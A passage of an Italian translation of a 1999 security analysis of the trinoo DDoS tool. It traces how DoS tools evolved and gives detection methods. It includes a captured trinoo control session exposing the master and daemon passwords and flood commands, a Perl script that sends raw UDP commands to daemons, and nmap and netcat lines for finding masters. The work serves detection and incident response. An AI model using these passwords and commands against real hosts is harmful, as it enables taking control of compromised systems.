alcuni sistemi hanno mostrato entry del crontab usate per lanciare il demone una volta al minuto. Questo lascia un'ovvia impronta sui file di crontab. Gli script osservati per automazione dell'istallazione delle reti trinoo usano il comando Berkeley "rcp" (l'uso di rcp e' stato osservato anche in una funzione di upload di file inclusa nelle ultime versioni del programma demone di "Tribe Flood Network"). Monitorare connessioni "rcp" (514/tcp) da sistemi multipli sulla propria rete, in rapida successione, verso un singolo indirizzo IP al di fuori della tua rete potrebbe essere un buon indizio. (Notare che L'uso di "rcp" in uno script richiede un ***anonymous trust relationship, solitamente nella forma di "+ +" nell file ~/.rhosts di un utente, che permette di archiviare immediatamente il contenuto di questo account contattando i proprietari per conservare la prova.) (Un' ulteriore analisi di trinoo di George Weaver della Pennsylvania State University e David Brumley della Stanford University e' incluso nell'Appendice E - Altri metodi per individuare trinoo. George merita ulteriori ringraziamenti per il tentativo di decompilare a mano un'immagine binaria SPARC recuperata ;) I prossimi logici passi evolutivi --------------------------------- Uno degli attacchi piu' semplici da implementare e' l'attacco di negazione di servizio. Esistono molti bug negli stack TCP/IP che, per esempio, permettono pacchetti frammentati, grossi pacchetti, opzioni IP, connessioni TCP semi-aperte, o inondazioni di pacchetti (chi ha la maggiore ampiezza di banda vince) etc., per degradare le performance del sistema o mandare il sistema in crash. Apeena un bug viene individuato, un programma di exploit dimostrativo del bug viene generalmente prodotto. Ciascuno di questi programmi exploit e' generalmente unico, ed exploita un bug specifico che affligge un'unica implementazione TCP/IP (per quanto, avendo Mcrosoft una cosi' ampia parte di mercato di personal computer, e molti utenti casalinghi quasi totalmente ignari di questi bug, lasciati da soli su dove ottenere e come applicare le patch per eliminare questi bug, ci sono alte possibilita' che un attacco multi-exploit avra' successo nel mandare il sistema bersaglio in crash.) Questi exploit di negazione di servizio sono disponibili su numerosi siti su Internet ad esempio: http://www.technotronic.com/denial.html http://www.rootshell.com/ Il passo successivo e' stato quello di combinare insieme vari exploit di negazione di servizio in un unico strumento, usando script di shell di Unix. Uno di questi strumenti, chiamato "rape" (secondo il codice scritto nel 1998 da "mars", con modifiche di "TheVirus" e ulteriori miglioramenti di codice di "ttol") integra i seguenti exploit in un unico script di shell: echo "Editted for use with www.ttol.base.org" echo "rapeing $IP. using weapons:" echo "latierra " echo -n "teardrop v2 " echo -n "newtear " echo -n "boink " echo -n "bonk " echo -n "frag " echo -n "fucked " echo -n "troll icmp " echo -n "troll udp " echo -n "nestea2 " echo -n "fusion2 " echo -n "peace keeper " echo -n "arnudp " echo -n "nos " echo -n "nuclear " echo -n "ssping " echo -n "pingodeth " echo -n "smurf " echo -n "smurf4 " echo -n "land " echo -n "jolt " echo -n "pepsi " Uno strumento come questo ha il vantaggio di permettere ad un attaccante di fornire un sigolo indirizzo IP e ottenere che attacchi multipli vengano lanciati (aumentando la probabilita' di un attacco vittorioso), ma richiede il possesso di versioni pre-compilate di ogni singolo exploit impacchettato in in un archivio Unix in formato "tar", etc., per un agile trasferimento ad un account (solitamente rubato dal quale lanciare l'attacco. Per permettere l'uso di exploit multipli di negazione di servizio, ma con un unico programma precompilato che sia piu' semplice da conservare, trasferire, e usare velocemente sono stati sviluppati programmi come "targa.c" di Mixter. Targa combina tutti i seguenti exploit in un unico programma sorgente in C: /* targa.c - copyright by Mixter <mixter@gmx.net> version 1.0 - released 6/24/98 - interface to 8 multi-platform remote denial of service exploits */ . . . /* bonk by route|daemon9 & klepto * jolt by Jeff W. Roberson (modified by Mixter for overdrop effect) * land by m3lt * nestea by humble & ttol * newtear by route|daemon9 * syndrop by PineKoan * teardrop by route|daemon9 * winnuke by _eci */ Anche strumenti combinati di negazione di servizio come "targa" permettono solamente ad un attaccante di colpire un indirizzo IP alla volta. Per aumentare l'efficacia' dell'attaco, gruppi di attaccanti, che usino canali IRC o "ponti voce" telefonici per la comunicazione, potrebbero coordinare un attacco, colpendo ciascuno un bersaglio differente. La stessa coordinazione viene vista nel sondare le vulnerabilita' e nella compromissione del sistema e nel controllo con l'utilizzo di backdoor e "root kit". Anche questo ha i suoi limiti, cosi', in meno di due anni, sembra che il prossimo passo logico sia stato fatto per combinare la potenza di un numero di sistemi compromessi in un denial of service distribuito. Lo strumento "trinoo" e' un esempio di questo, cosi' come un altro strumento simile disponibile nel computer underground chiamato "Tribe Flood Network" o "TFN" creato da Mixter. Mentre trinoo implemente solo attacchi UDP flood, TFN supporta ICMP flood, ICMP flood, UDP flood, SYN flood, e attacchi in stile Smurf, ed e' controllato con comandi inviati come pacchetti ICMP_ECHOREPLY (ICMP Type 0). Supporta anche criptazione Blowfish, similmente a trinoo. (TFN e' analizzato in un documento separato). E' tutto tranne che garantito che questi strumenti continueranno a seguire questa tendenza e si evolveranno in stumenti per l'attacco di diniego di servizio che utilizzino criptazione robusta delle stringhe , password per controllare l'esecuzione (possibilmente con trip-wires che si autodistruggono o distruggono l'intero disco di sistema se lanciati nella maniera errata o dalla persona sbagliata), usando canali di crittazione criptati e che comunicano usando usando pacchetti che ***posing as protocolli come ICMP che sono difficili da individuare o bloccare con firewall. -- David Dittrich <dittrich@cac.washington.edu> http://staff.washington.edu/dittrich/ Appendice A: Esempio di una sessione di rete catturata con "ngrep" ------------------------------------------------------------------ il seguente e' un esempio di come appare una sessione di attacco osservata con "ngrep". ------------------------------------------------------------------------------ # ngrep -x ".*" tcp port 27665 or udp port 31335 or udp port 27444 interface: eth0 (192.168.0.200/255.255.255.0) filter: ip and ( tcp port 27665 or udp port 31335 or udp port 27444 ) match: .* # U 192.168.0.1:32892 -> 10.0.0.1:31335 2a 48 45 4c 4c 4f 2a *HELLO* # T 192.168.100.1:1074 -> 10.0.0.1:27665 [AP] ff f4 ff fd 06 ..... ###### T 192.168.100.1:1074 -> 10.0.0.1:27665 [AP] 62 65 74 61 61 6c 6d 6f 73 74 64 6f 6e 65 0d 0a betaalmostdone.. # T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP] 74 72 69 6e 6f 6f 20 76 31 2e 30 37 64 32 2b 66 trinoo v1.07d2+f 33 2b 63 2e 2e 5b 72 70 6d 38 64 2f 63 62 34 53 3+c..[rpm8d/cb4S 78 2f 5d 0a 0a 0a x/]... ## T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP] 74 72 69 6e 6f 6f 3e 20 trinoo> ### T 192.168.100.1:1074 -> 10.0.0.1:27665 [AP] 62 63 61 73 74 0d 0a bcast.. # T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP] 4c 69 73 74 69 6e 67 20 42 63 61 73 74 73 2e 0a Listing Bcasts.. 0a . ### T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP] 31 39 32 2e 31 36 38 2e 30 2e 31 2e 20 20 20 0a 192.168.0.1. 0a 45 6e 64 2e 20 31 20 42 63 61 73 74 73 20 74 .End. 1 Bcasts t 6f 74 61 6c 2e 0a 74 72 69 6e 6f 6f 3e 20 otal..trinoo> ## T 192.168.100.1:1074 -> 10.0.0.1:27665 [AP] 6d 74 69 6d 65 72 20 31 30 30 30 0d 0a mtimer 1000.. ## T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP] 6d 74 69 6d 65 72 3a 20 53 65 74 74 69 6e 67 20 mtimer: Setting 74 69 6d 65 72 20 6f 6e 20 62 63 61 73 74 20 74 timer on bcast t 6f 20 31 30 30 30 2e 0a o 1000.. # U 10.0.0.1:1025 -> 192.168.0.1:27444 62 62 62 20 6c 34 34 61 64 73 6c 20 31 30 30 30 bbb l44adsl 1000 ## T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP] 6d 74 69 6d 65 72 3a 20 53 65 74 74 69 6e 67 20 mtimer: Setting 74 69 6d 65 72 20 6f 6e 20 62 63 61 73 74 20 74 timer on bcast t 6f 20 31 30 30 30 2e 0a o 1000.. ### T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP] 74 72 69 6e 6f 6f 3e 20 trinoo> ### T 192.168.100.1:1074 -> 10.0.0.1:27665 [AP] 6d 73 69 7a 65 20 33 32 30 30 30 0d 0a msize 32000.. # U 10.0.0.1:1025 -> 192.168.0.1:27444 72 73 7a 20 33 32 30 30 30 rsz 32000 # T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP] 74 72 69 6e 6f 6f 3e 20 trinoo> ### T 192.168.100.1:1074 -> 10.0.0.1:27665 [AP] 64 6f 73 20 32 31 36 2e 31 36 30 2e 58 58 2e 59 dos 216.160.XX.Y 59 0d 0a Y.. # T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP] 44 6f 53 3a 20 50 61 63 6b 65 74 69 6e 67 20 32 DoS: Packeting 2 31 36 2e 31 36 30 2e 58 58 2e 59 59 2e 0a 16.160.XX.YY.. # U 10.0.0.1:1025 -> 192.168.0.1:27444 61 61 61 20 6c 34 34 61 64 73 6c 20 32 31 36 2e aaa l44adsl 216. 31 36 30 2e 58 58 2e 59 59 160.XX.YY # T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP] 74 72 69 6e 6f 6f 3e 20 trinoo> ## T 192.168.100.1:1074 -> 10.0.0.1:27665 [AP] 71 75 69 74 0d 0a quit.. # T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP] 62 79 65 20 62 79 65 2e 0a bye bye.. ### T 192.168.100.1:1075 -> 10.0.0.1:27665 [AP] 62 65 74 61 61 6c 6d 6f 73 74 64 6f 6e 65 0d 0a betaalmostdone.. ## T 10.0.0.1:27665 -> 192.168.100.1:1075 [AP] 74 72 69 6e 6f 6f 20 76 31 2e 30 37 64 32 2b 66 trinoo v1.07d2+f 33 2b 63 2e 2e 5b 72 70 6d 38 64 2f 63 62 34 53 3+c..[rpm8d/cb4S 78 2f 5d 0a 0a 0a x/]... ### T 10.0.0.1:27665 -> 192.168.100.1:1075 [AP] 74 72 69 6e 6f 6f 3e 20 trinoo> ### T 192.168.100.1:1075 -> 10.0.0.1:27665 [AP] 6d 70 69 6e 67 0d 0a mping.. ## T 10.0.0.1:27665 -> 192.168.100.1:1075 [AP] 6d 70 69 6e 67 3a 20 53 65 6e 64 69 6e 67 20 61 mping: Sending a 20 50 49 4e 47 20 74 6f 20 65 76 65 72 79 20 42 PING to every B 63 61 73 74 73 2e 0a casts.. # U 10.0.0.1:1025 -> 192.168.0.1:27444 70 6e 67 20 6c 34 34 61 64 73 6c png l44adsl ## U 192.168.0.1:32894 -> 10.0.0.1:31335 50 4f 4e 47 PONG ## T 10.0.0.1:27665 -> 192.168.100.1:1075 [AP] 74 72 69 6e 6f 6f 3e 20 50 4f 4e 47 20 31 20 52 trinoo> PONG 1 R 65 63 65 69 76 65 64 20 66 72 6f 6d 20 31 39 32 eceived from 192 2e 31 36 38 2e 30 2e 31 0a .168.0.1 ## T 192.168.100.1:1075 -> 10.0.0.1:27665 [AP] 71 75 69 74 0d 0a quit.. # T 10.0.0.1:27665 -> 192.168.100.1:1075 [AP] 62 79 65 20 62 79 65 2e 0a bye bye.. ------------------------------------------------------------------------------ Appendice B - script trinot -------------------------- ---------------------------------------------------------- cut here ----------------------------------- #!/usr/bin/perl -w # # trinot v. 1.1 # By Dave Dittrich <dittrich@cac.washington.edu> # # Send commands to trinoo daemon(s), causing them to PONG, *HELLO* # to all their masters, exit, etc. Using this program (and knowledge # of the proper daemon password), you can affect trinoo daemons # externally and monitor packets to verify if the daemons are up, # expose their masters, or shut them down. # # Needs Net::RawIP (http://quake.skif.net/RawIP) # Requires libpcap (ftp://ftp.ee.lbl.gov/libpcap.tar.Z) # # Example: ./trinot host1 [host2 [...]] # ./trinot -S host # ./trinot -p password -P host # # (This code was hacked from the "macof" program, written by # Ian Vitek<ian.vitek@infosec.se>) require 'getopts.pl'; use Net::RawIP; $a = new Net::RawIP({udp => {}}); chop($hostname = `hostname`); Getopts('PSDp:f:s:d:l:i:vh'); die "usage: $0 [options] host1 [host2 [...]]\ \t-P\t\t\tSend \"png\" command\ \t-S\t\t\tSend \"shi\" command\ \t-D\t\t\tSend \"d1e\" command (default)\ \t-p password\t\t(default:\"l44adsl\") \t-f from_host\t\t(default:$hostname)\ \t-s src_port\t\t(default:random)\ \t-d dest_port\t\t(default:27444)\ \t-l ipfile\t\tSend to IP addresses in ipfile\ \t-i interface \t\tSet sending interface (default:eth0)\ \t-v\t\t\tVerbose\ \t-h This help\n" unless ( !$opt_h ); # set default values $opt_i = ($opt_i) ? $opt_i : "eth0"; $s_port = ($opt_s) ? $opt_s : int rand 65535; $d_port = ($opt_d) ? $opt_d : 27444; $pass = ($opt_p) ? $opt_p : "l44adsl"; # choose network card if($opt_e) { $a->ethnew($opt_i, dest => $opt_e); } else { $a->ethnew($opt_i); } $cmd = ($opt_P) ? "png $pass" : ($opt_S) ? "shi $pass" : ($opt_D) ? "d1e $pass" : "d1e $pass"; $s_host = ($opt_f) ? $opt_f : $hostname; if ($opt_l) { open(I,"<$opt_l") || die "could not open file: '$opt_l'"; while (<I>) { chop; push(@ARGV,$_); } close(I); } foreach $d_host (@ARGV) { $a->set({ip => {saddr => $s_host, daddr => $d_host}, udp => {source => $s_port, dest => $d_port, data => $cmd} }); print "sending '$cmd' to $d_host\n" if $opt_v; $a->send; } exit(0); ------------------------------- cut here ----------------------------------- Appendice C - Referimenti ------------------------- TCP/IP Illustrated, Vol. I, II, and III. W. Richard Stevens and Gary R. Wright., Addison-Wesley. lsof: ftp://vic.cc.purdue.edu/pub/tools/unix/lsof/ tcpdump: ftp://ftp.ee.lbl.gov/tcpdump.tar.Z hunt: http://www.cri.cz/kra/index.html sniffit: http://sniffit.rug.ac.be/sniffit/sniffit.html ngrep: http://www.packetfactory.net/ngrep/ loki client/server: Phrack Magazine, Volume Seven, Issue Forty-Nine, File 06 of 16, [ Project Loki ] http://www.phrack.com/search.phtml?view&article=p49-6 Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 06 of 17 [ L O K I 2 (the implementation) ] http://www.phrack.com/search.phtml?view&article=p51-6 LibNet: http://www.packetfactory.net/libnet/ Net::RawIP: http://quake.skif.net/RawIP crack: http://www.crypto.dircon.co.uk/ Password cracking utilities: http://packetstorm.securify.com/Crackers/ targa.c: http://packetstorm.securify.com/exploits/DoS/targa.c Appendice D - Resoconto abbreviato di un attacco trinoo reale. ------------------------------------------------------------------ La seguente e' una versione abbreviata del resoconto iniziale inviato da Susan Levi Haskell della University of Minnesota. Questo resoconto, che rigarda solamente un breve periodo di tempo dell'attacco di tre giorni, ha mostrato 227 sistemi attaccanti, 114 dei quali erano su siti Internet 2. (La lista reale dei sistemi attaccanti, ciascuno dei quali e' anche vittima compromessa a livello di root in their own right, e' stata rimossa. Un resoconto completo di tutti gli indirizzi Ip attaccanti durante il periodo di tre giorni non e' disponibile.) Solo per mostrare quanto puo' fare una grande rete trinoo, si consideri che un file (chiamato "owned.log") contenente 888 indirizzi IP e' stato trovato nella stessa locazione del codice sorgente trinoo qui analizzato (che si ipotizza sia lo stesso codice utilizzato per l'attacco). Un altro file nella stessa directory (chiamato "216") contiene gli indirizzi di 10549 sistemi su netblocks 216.0.0.0/8, e si ipotizza che sia una lista di potenziali bersagli per la compromissione e l'installazione di di demoni/master trinoo. Voci sui newsgroup Usenet e su Slashdot posizionano il numero di sistemi controllati da questo gruppo al di sopra dei 3000. ------------------------------------------------------------------------------- Hello: Questa e' l'avviso che un sistema nel vostro sito e' stato apparentemente usato in un flood UDP su di un sistema dell'University of Minnesota. Gli host riportati sono stati coinvolti in una serie di denials-of-service su larga scala che stanno flooddando la University of Minnesota. Sono periodici ma in crescita riguardo al numero di host usati per l'attacco. Ci piacerebbe sapere se potete confermare se i vistri sistemi sono stati usati. Siamo anche *molto* interessati in qualunque informazione riguardo questo strumento (siccome sembra essere nuovo e piuttosto efficace). Fino ad ora tutti gli host usati in questo attacco sembrano essere stati sistemi Solaris 2.x che sono stati compromessi usando gli exploit rpc.cmsd recentemente annunciati (vedi http://www.cert.org/advisories/CA-99-08-cmsd.html per i dettagli). Le seguenti sono liste degli host apparentemente usati, e il periodo di utilizzo. Siamo sicuri riguardo le timestamp --sono nel CDT (-500)-- ma con un tale flood salgono e scendono. Siccome prndiamo i dati ad intervalli di 10 minuti, i tempi sono approssimati. I flood usano IP sorgenti no falsificati e porte-sorgenti UPD coerenti. Le porte di destinazione sono casuali, puntate al 160.94.196.192. I pacchetti sono UDP a 32 byte (ed ogni flusso rappresenta molti pacchetti). Ho incluso informazioni di profilo piuttosto che log excerpts, perche' occupavano troppi GB. Se volete i Cisco net-flow excerpts per dimostrare il comportamento, prego rispondete al messaggio e chiedete. Tutti gli attacchi sono stati lanciati al 160.94.196.192 (irc2.tc.umn.edu). E, come ho menzionato, tutti i tempi sono nel CDT (-500) da un log ntp-slaved log host (for i segmenti di 10 minuti). Grazie.-susan -- Susan B. Levy Haskell / sblh@nts.umn.edu / voice: (612) 626-8639 Security Incident Response Coordinator fax: (612) 626-1002 Networking and Telecommunications Services, University of Minnesota *** To report a security incident in progress, call (612) 625-0006 *** ================================================= Appendice E - Ulteriori metodi di individuazione di trinoo ---------------------------------------------------------- Autori: David Brumley<dbrumley@stanford.edu> David Dittrich<dittrich@cac.washington.edu> George Weaver <gmw@psu.edu> Individuare trinoo Attualmente Trinoo ha molti segni che permettono di identificarlo dalle registrazioni del flusso IP. Demone Trinoo (ns.c) - 1. Il demone trinoo di default rimane in ascolto sulla porta UDP 27444 2. Tutte le comunicazioni con il demone trinoo devono contenere la stringa l44 (elle 44) 3. Il meccanismo SYN flood sceglie la porta di destinazione con il seguente algoritmo: to.syn_port = htons(rand() % 65534) Si possono fare alcune osservazioni: a. randomize()/srandom() non viene mai chiamata, cosi' la porta di destinazione corrispondera' sempre al seguente algoritmo: il 1' pacchetto SYN ha come destinazione la porta x il 2' pacchetto SYN ha come destinazione la porta y definita da srandom(x); y = rand(); il 3' pacchetto SYN ha come destinazione la porta z definita da srandom(y); z = rand() b. Siccome la porta e' un risultato del modulo 65534, la porta di destinazione sara' presente, mentre non lo sara' la porta 65535. Individuazione IDS del demone: 1. Cerca connessioni UDP alla porta di destinazione 27444. Questo indica la sessione di controllo. 2. La stringa l44 indica con un'alta probabilita' che il pacchetto e' parte di una sessione di controllo trinoo. 3. Attacchi trinoo (SYN Floods) in atto possono essere identificati dall'algortimo riportato sopra. Inoltre se si riesce a prendere il primo SYN, sara' sempre il risultato di srand(1); rand();, Sul laptop di uno degli autori la sequenza e' stata: 32540 48264 58208 56084 46021 37263 6890 38941 17766 40714 Per quanto questo non fermi il Denial of Service, Indichera' con buone probabilita' che e' un attaco trinoo, ed e' necessario iniziare a cercare un master! Individuare il demone trinoo sul proprio network: 1. I demoni trinoo possono essere indicizzati da un master inviando un comando png. I demoni attivi risponderanno con un PONG. Probabilmente l'autore originale ha aggiunto questo in modo da permettere al master di vedere quali demoni continuano ad essere attivi. E' possibile fare uno scan su una rete con il programma attached cercando qualcosa che risponda in maniera appropriata. (con buone possibilita' che sia un demone trinoo.) Il server trinoo (master.c) - le comunicazioni di rete che sono indicative di un server trinoo sono: 1. L'invio di pacchetti UDP con porta di destinazione 27444 2. Pacchetti UDP come descritti sopra contenenti la stringa l44adsl 3. Un server ***bindera' alla porta 27665 Individuazione IDS del server trinoo: 1. Cercare flussi con tipo di protocollo 17 (UDP) 2. Connessioni TCP (tipo di protocollo 6) con porta di destinazione 27665 (il server trinoo) Individuare il server trinoo della propria rete: 1. La password del server non e' stata cambiata (per quanto ne sappia l'autore) ne' la porta su cui rimane in ascolto. I possibili master trinoo possono essere individuati usando uno strumento come nmap per individuare gli host in ascolto sulla porta 27665: nmap -PI -sT -p 27655 -m logfile "you.subnet.*.*" Dopo che una lista di possibili server e' stata compilata, puo' essere utilizzato un login automatizzato per identificazione positiva. Se si volesse racchiudere in uno script il login, si provo netcat (nc su molti sistemi): echo "betaalmostdone" | nc <IP> 27665 NOTA: La tua distanza con la predizione di numeri casuali visto che e' molto specifica per ogni host - cosa restituisce in realta' rand()? Consultare la propria documentazione.
Testo Originale